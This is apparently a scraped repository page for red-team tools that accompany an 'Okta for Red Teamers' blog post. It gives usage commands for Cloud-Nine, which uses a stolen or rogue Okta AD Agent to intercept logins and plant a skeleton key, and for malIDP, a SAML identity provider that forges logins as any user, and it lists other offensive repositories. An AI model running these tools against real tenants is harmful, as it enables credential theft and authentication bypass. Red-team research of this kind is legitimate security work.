• Stars
    star
    165
  • Rank 228,906 (Top 5 %)
  • Language
    Python
  • Created about 1 year ago
  • Updated 8 months ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Info

This repo contains projects to support the "Okta for Red Teamers" blog post here.

Cloud-Nine

An Okta Agent tool which emulates an AD Agent, allows interception of authentication requests, and adding a skeleton key.

Installation

python3 -m venv env
source ./env/bin/activate
pip install -r requirements.txt

Usage

Two modes are supported:

  1. Use an stolen AD Agent token to connect to Okta and intercept authentication requests:
python ./main.py --tenant-domain example.okta.com --skeleton-key WibbleWobble99 token --api-token 0023452Lllk2KqjLBvaxANWEgTd7bqjsxjo8aZj0wd --app-id 0oa7c027u2TcJxoki697 --agent-id a537cnm9ldwPILkqP697
  1. Register a new AD Agent with Okta and intercept authentication requests:

Note: You'll need an OAuth Response Code which you can get from:

https://example.okta.com/oauth2/authorize?redirect_uri=%2Foauth-response&response_type=code&client_id=cappT0Hfy97F1BoO1UTR&prompt=select_account

Then we can pass this as an arg to:

python ./main.py --tenant-domain example.okta.com --skeleton-key WibbleWobble99 oauth --machine-name DC01 --windows-domain lab.local --code OAUTH_CODE_HERE

malIDP

A small (and very janky) SAML IDP which will sign SAML responses to authenticate as any user.

Installation

python3 -m venv env
source ./env/bin/activate
pip install -r requirements.txt

Usage

python ./main.py --cert ./public_cert.crt --key ./private.key --metadata ./metadata.xml --issuer 'https://www.legitidp.com/'

More Repositories

1

RandomTSScripts

Collection of random RedTeam scripts.
C++
191
star
2

ssh-inject

A ptrace POC by hooking SSH to reveal provided passwords
C
174
star
3

NautilusProject

A collection of weird ways to execute unmanaged code in .NET
C#
155
star
4

sccmwtf

Python
140
star
5

getsystem-offline

Small tool to get a SYSTEM shell
C++
126
star
6

ntlmquic

POC tools for exploring SMB over QUIC protocol
C
120
star
7

WAMBam

Tooling related to the WAM Bam - Recovering Web Tokens From Office blog post
C#
110
star
8

CloudInject

C++
102
star
9

RpcEnum

An command-line RPC method enumerator, born out of RPCView's awesomeness
C++
98
star
10

Powershell-PostExploitation

Scripts created to help with post exploitation of a Windows host
PowerShell
95
star
11

DemoLab

A very simple lab to demo some Terraform, DSC, Inspec and Gitlab CI
PowerShell
87
star
12

DyldDeNeuralyzer

Objective-C
82
star
13

DotNetDebug

A simple POC to demonstrate the power of .NET debugging for injection
C++
73
star
14

BlockchainC2

A POC C2 server and agent to explore just if/how the Ethereum blockchain can be used for C2
Go
70
star
15

AppProxyC2

C#
66
star
16

ObjectOverloadingPOC

C++
58
star
17

CUDA-MD5-Crack

MD5 password cracker for CUDA
C
40
star
18

stego-playground

C++
33
star
19

warbird_exploit

https://blog.xpnsec.com/windows-warbird-privesc/
C++
29
star
20

RpcExample

Example RPC service for blog post
C
16
star
21

jupyter

Collection of Jupyter notebooks
Jupyter Notebook
13
star
22

malIDP

Python
7
star
23

MoarExploits

A collection of developed exploits
C
6
star
24

OneLoginPostExToolkit

Python
6
star
25

winsudo

Small training tool to demo access token impersonation
C++
5
star
26

PingPostExToolkit

Java
4
star
27

MoarShellcodes

Even moar shellcodes ;)
C
1
star
28

xpn

1
star
29

Presentations

A collections of presentations
1
star